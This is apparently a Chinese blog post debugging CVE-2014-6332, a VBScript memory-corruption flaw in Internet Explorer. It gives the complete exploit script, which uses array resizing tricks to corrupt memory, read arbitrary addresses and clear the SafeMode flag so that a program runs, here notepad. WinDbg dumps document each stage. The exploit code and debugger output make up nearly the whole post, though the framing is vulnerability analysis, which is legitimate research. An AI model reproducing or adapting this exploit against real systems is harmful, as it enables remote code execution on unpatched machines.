  set shell=createobject("Shell.Application")
  shell.ShellExecute "notepad.exe"
end function
</script>

<SCRIPT LANGUAGE="VBScript">
dim aa()  
dim ab()
dim a0
dim a1
dim a2
dim a3
dim intVersion
dim myarray

Begin()

function Begin()  
  On Error Resume Next
  info=Navigator.UserAgent

  if (instr(info,"Win64")>0) then  
    exit function
  end if
  if (instr(info,"MSIE")>0) then
    intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
  else
    exit function
  end if

  BeginInit()
  if Create()=True then
    myarray=chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
    myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(00)  
    Setnotsafemode()
  end if
end function

function BeginInit()  
  Randomize()
  redim aa(5)
  redim ab(5)
  a0=13+17*rnd(6)
  a3=7+3*rnd(5)
end function

function Create()  
  On Error Resume Next
  dim i
  Create=False
  for i = 0 to 400
    if Over()=True then
      Create=True
      exit for
    end if
  next
end function

sub testaa()
end sub

function Mydata()  
  On Error Resume Next
  i=testaa
  i=null

  redim Preserve aa(a2)
  ab(0)=0
  aa(a1)=i
  IsEmpty("Assign With CScriptEntryPoint Object")
  ab(0)=6.36598737437801E-314  
  IsEmpty("Change CScriptEntryPoint VarType")
  aa(a1+2)=myarray
  IsEmpty("Assign With myrray")
  ab(2)=1.74088534731324E-310  
  IsEmpty("Change myarray VarType")
  Mydata=aa(a1)
  redim Preserve aa(a0)
end function

function Setnotsafemode()
  On Error Resume Next
  i=Mydata()
  i=ReadMemo(i+8)
  i=ReadMemo(i+16)  

  for k=0 to &h60 step 4  
    j=ReadMemo(i+&h120+k)
    if (j=14) then
      redim Preserve aa(a2)
      aa(a1+2)(i+&h11c+k)=ab(4)  
      redim Preserve aa(a0)
      exit for
    end if
  next

  ab(2)=1.69759663316747E-313  
  Runmumaa()
end function

function Over()  
  On Error Resume Next
  dim type1
  Over=False
  a0=a0+a3
  a1=a0+2
  a2=a0+&h8000000
  redim Preserve aa(a0)
  redim ab(a0)

  redim Preserve aa(a2)  
  type1=1
  ab(0)=1.012345678901234567890123456789  
  aa(a0)=10

  if (IsObject(aa(a1-1)) = False) then
    if (VarType(aa(a1-1))<>0) then
      if (IsObject(aa(a1)) = False) then
        type1=VarType(aa(a1))
      end if
    end if
  end if
  if (type1=&h0b24) then  
    IsEmpty(ab)
    Over=True
  end if
  redim Preserve aa(a0)  
end function

function ReadMemo(add)  
  On Error Resume Next
  redim Preserve aa(a2)
  ab(0)=0
  aa(a1)=add+4
  ab(0)=1.69759663316747E-313  
  IsEmpty(add)
  IsEmpty(lenb(aa(a1)))
  ReadMemo=lenb(aa(a1))  
  ab(0)=0
  redim Preserve aa(a0)
end function
</script>
</body>
</html>

1) Over() 构造内存布局，记下ab(0)的位置

          0:005> dd poi(poi(poi(esp+c)+c)+c)
          002d08a0  00000005 00000000 61f20b24 3ff03291
          002d08b0  00000000 00000000 00000000 00000000
          002d08c0  00000000 00000000 00000000 00000000
          002d08d0  00000000 00000000 00000000 00000000
          002d08e0  00000000 00000000 00000000 00000000
          002d08f0  00000000 00000000 00000000 00000000
          002d0900  00000000 00000000 00000000 00000000
          002d0910  00000000 00000000 00000000 00000000
          0:005> dd 002d08a0-0x18
aa(a0)    002d0888  00000002 00000000 61f2000a 3ff03291
aa(a1-1)  002d0898  27f7cc31 0800a73b 00000005 00000000  ab(0)
aa(a1)    002d08a8  61f20b24 3ff03291 00000000 00000000  ab(1)
aa(a1+1)  002d08b8  00000000 00000000 00000000 00000000  ab(2)
aa(a1+2)  002d08c8  00000000 00000000 00000000 00000000  ab(3)
          002d08d8  00000000 00000000 00000000 00000000
          002d08e8  00000000 00000000 00000000 00000000
          002d08f8  00000000 00000000 00000000 00000000

2) Setnotsafemode()->Mydata() 拿到CScriptEntryPoint对象；填入精心构造的myarray备用

          0:005> du poi(poi(esp+c)+8)
          01f4ddb8  "Assign With CScriptEntryPoint Ob"
          01f4ddf8  "ject"
          0:005> dd 002d08a0-0x18
aa(a0)    002d0888  00000002 00000000 61f2000a 3ff03291
aa(a1-1)  002d0898  27f7cc31 0800a73b 00000002 00000000  ab(0)
aa(a1)    002d08a8  00000001 00620150 01f50270 9a000f95  ab(1)   --> 已经拿到CScriptEntryPoint对象，但类型是null,需要改类型为long,才能通过aa读出
aa(a1+1)  002d08b8  00000000 00000000 00000000 00000000  ab(2)
aa(a1+2)  002d08c8  00000000 00000000 00000000 00000000  ab(3)
          002d08d8  00000000 00000000 00000000 00000000
          002d08e8  00000000 00000000 00000000 00000000
          002d08f8  00000000 00000000 00000000 00000000
          0:005> ln poi(01f50270)
          (6ca44934)   vbscript!CScriptEntryPoint::`vftable‘   |  (6ca5ab54)   vbscript!CEntryPointDispatch::`vftable‘
          Exact matches:
              vbscript!CScriptEntryPoint::`vftable‘ = <no type information>

          0:005> g
          Breakpoint 0 hit
          eax=6ca4185c ebx=01f2cf50 ecx=6ca9a9d8 edx=01f2cec8 esi=01f4de0c edi=00000001
          eip=6ca5c206 esp=01f2cde4 ebp=01f2cdf4 iopl=0         nv up ei pl zr na pe nc
          cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
          vbscript!VbsIsEmpty:
          6ca5c206 8bff            mov     edi,edi
          0:005> du poi(poi(esp+c)+8)
          01f4de24  "Change CScriptEntryPoint VarType"
          01f4de64  ""
          0:005> dd 002d08a0-0x18
aa(a0)    002d0888  00000002 00000000 61f2000a 3ff03291
aa(a1-1)  002d0898  27f7cc31 0800a73b 00000005 00000000  ab(0)
aa(a1)    002d08a8  00000003 00000003 01f50270 9a000f95  ab(1)  --> 改变VarType成功
aa(a1+1)  002d08b8  00000000 00000000 00000000 00000000  ab(2)
aa(a1+2)  002d08c8  00000000 00000000 00000000 00000000  ab(3)
          002d08d8  00000000 00000000 00000000 00000000
          002d08e8  00000000 00000000 00000000 00000000
          002d08f8  00000000 00000000 00000000 00000000
          0:005> g
          Breakpoint 0 hit
          eax=6ca4185c ebx=01f2cf50 ecx=6ca9a9d8 edx=01f2cec8 esi=01f4de0c edi=00000001
          eip=6ca5c206 esp=01f2cde4 ebp=01f2cdf4 iopl=0         nv up ei pl zr na pe nc
          cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
          vbscript!VbsIsEmpty:
          6ca5c206 8bff            mov     edi,edi
          0:005> du poi(poi(esp+c)+8)
          01f4de70  "Assign With myrray"
          0:005> dd 002d08a0-0x18
aa(a0)    002d0888  00000002 00000000 61f2000a 3ff03291
aa(a1-1)  002d0898  27f7cc31 0800a73b 00000005 00000000  ab(0)
aa(a1)    002d08a8  00000003 00000003 01f50270 9a000f95  ab(1)
aa(a1+1)  002d08b8  00000000 00000000 00000000 00000000  ab(2)
aa(a1+2)  002d08c8  01f20008 00000023 002fccec 01f2cef8  ab(3) --> 精心构造了字符串，目前还是string类型
          002d08d8  00000000 00000000 00000000 00000000
          002d08e8  00000000 00000000 00000000 00000000
          002d08f8  00000000 00000000 00000000 00000000
          0:005> dd 002fccec
          002fccec  08800001 00000001 00000000 00000000       --> 字符串精心构造成Array的结构，Array的长度还设置成0x7fff0000，每个元素0x01字节, 数据buffer是0x00000000
          002fccfc  7fff0000 00000000 00000000 1291ed9f
          002fcd0c  80000000 6a00ffff 00000842 0027fca8
          002fcd1c  002df720 00000000 00000035 0032450c
          002fcd2c  00324524 1291ed98 88000000 00000000
          002fcd3c  00000000 0027fca8 00000000 00000000
          002fcd4c  00000056 0032453c 002ae5d4 1291ed95
          002fcd5c  80000000 6a0001f6 00000868 0027fca8
          0:005> g
          Breakpoint 0 hit
          eax=6ca4185c ebx=01f2cf50 ecx=6ca9a9d8 edx=01f2cec8 esi=01f4de0c edi=00000001
          eip=6ca5c206 esp=01f2cde4 ebp=01f2cdf4 iopl=0         nv up ei pl zr na pe nc
          cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
          vbscript!VbsIsEmpty:
          6ca5c206 8bff            mov     edi,edi
          0:005> du poi(poi(esp+c)+8)
          01f4dea0  "Change myarray VarType"
          0:005> dd 002d08a0-0x18
aa(a0)    002d0888  00000002 00000000 61f2000a 3ff03291
aa(a1-1)  002d0898  27f7cc31 0800a73b 00000005 00000000  ab(0)
aa(a1)    002d08a8  00000003 00000003 01f50270 9a000f95  ab(1)
aa(a1+1)  002d08b8  00000000 00000000 00000005 00000000  ab(2)
aa(a1+2)  002d08c8  0000200c 0000200c 002fccec 01f2cef8  ab(3)  -->成功把string类型改为Array类型
          002d08d8  00000000 00000000 00000000 00000000
          002d08e8  00000000 00000000 00000000 00000000
          002d08f8  00000000 00000000 00000000 00000000

3) Setnotsafemode() -> ReadMemo() 读取指定内存内容，从而拿到COleScript对象

这里我们重点看ReadMemo是如何拿到指定内存内容的

          0:005> g
          Breakpoint 0 hit
          eax=6ca4185c ebx=01f2cf50 ecx=6ca9a9d8 edx=01f2cec8 esi=01f4de0c edi=00000001
          eip=6ca5c206 esp=01f2cde4 ebp=01f2cdf4 iopl=0         nv up ei pl zr na pe nc
          cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
          vbscript!VbsIsEmpty:
          6ca5c206 8bff            mov     edi,edi
          0:005> dd poi(esp+c)
          01f45cf8  00000003 00000003 01f50278 9a000f95  --> ReadMemo 参数是 add=01f50270+8
          01f45d08  00000000 00000000 41f9b9f4 00000000
          01f45d18  01f2d244 01f45d68 01f50008 9a000f95
          01f45d28  00000003 00000003 01f50278 9a000f95
          01f45d38  00000000 00000000 00000000 00000000
          01f45d48  00000000 00000000 00000000 00000000
          01f45d58  01f40000 01f43e54 01f50a30 00000000
          01f45d68  01f2d488 01f45d88 01f50a20 00000000
          0:005> dd 002d08a0-0x18
aa(a0)    002d0888  00000002 00000000 61f2000a 3ff03291
aa(a1-1)  002d0898  27f7cc31 0800a73b 00000005 00000000  ab(0)
aa(a1)    002d08a8  00000008 00000008 01f5027c 41a00000  ab(1) --> 通过aa(a1)、ab(0)赋值，使得 aa(a1)类型为String,根据String的结构，内容前4个字节是存放长度的位置，所以lenb(aa(a1))会去读01f50278的内容
aa(a1+1)  002d08b8  00000000 00000000 00000005 00000000  ab(2)
aa(a1+2)  002d08c8  0000200c 0000200c 002fccec 01f2cef8  ab(3)
          002d08d8  00000000 00000000 00000000 00000000
          002d08e8  00000000 00000000 00000000 00000000
          002d08f8  00000000 00000000 00000000 00000000
          0:005> g
          Breakpoint 0 hit
          eax=6ca4185c ebx=01f2cf50 ecx=6ca9a9d8 edx=01f2cec8 esi=01f4de0c edi=00000001
          eip=6ca5c206 esp=01f2cde4 ebp=01f2cdf4 iopl=0         nv up ei pl zr na pe nc
          cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
          vbscript!VbsIsEmpty:
          6ca5c206 8bff            mov     edi,edi
          0:005> dd poi(esp+c)
          01f45cf8  00000003 00000000 01f4ff80 01f44484  --> 结果为01f4ff80
          01f45d08  00000000 00000000 41f9b9f4 00000000
          01f45d18  01f2d244 01f45d68 01f50008 9a000f95
          01f45d28  00000003 00000003 01f50278 9a000f95
          01f45d38  00000000 00000000 00000000 00000000
          01f45d48  00000000 00000000 00000000 00000000
          01f45d58  01f40000 01f43e54 01f50a30 00000000
          01f45d68  01f2d488 01f45d88 01f50a20 00000000
          
          0:005> dd 01f50278 l1                         --> 01f50278的内容的确是01f4ff80
          01f50278  01f4ff80

继续ReadMemo(i+16), 最终能拿到COleScript对象

4) 最后搜索内存中的SafeMode标志，如果是0e，则改为ab(4)，ab(4)的值就是0

  for k=0 to &h60 step 4  
    j=ReadMemo(i+&h120+k)
    if (j=14) then
      redim Preserve aa(a2)
      aa(a1+2)(i+&h11c+k)=ab(4)  
      redim Preserve aa(a0)
      exit for
    end if
  next

aa(a1+2) 是精心构造的myarray, Array的长度是0x7fff0000，每个元素0x01字节, 数据buffer是0x00000000，因此aa(a1+2)可访问内存空间是0x00000000-0x7fff0000

aa(a1+2)(i+&h11c+k)=ab(4) 即将SafeMode标识改为0x0，从而升级为GodMode权限。

弹出Notepad, 分析结束！

技术分享

CVE-2014-6332调试

标签：size_t 索引目标 for imagelist csr pad 数据 cfa

原文地址：http://www.cnblogs.com/ranran-pa/p/7814934.html

踩

(0)

评论一句话评论（0）

分享档案

更多>

2021年07月29日 (22)
2021年07月28日 (40)
2021年07月27日 (32)
2021年07月26日 (79)
2021年07月23日 (29)
2021年07月22日 (30)
2021年07月21日 (42)
2021年07月20日 (16)
2021年07月19日 (90)
2021年07月16日 (35)

周排行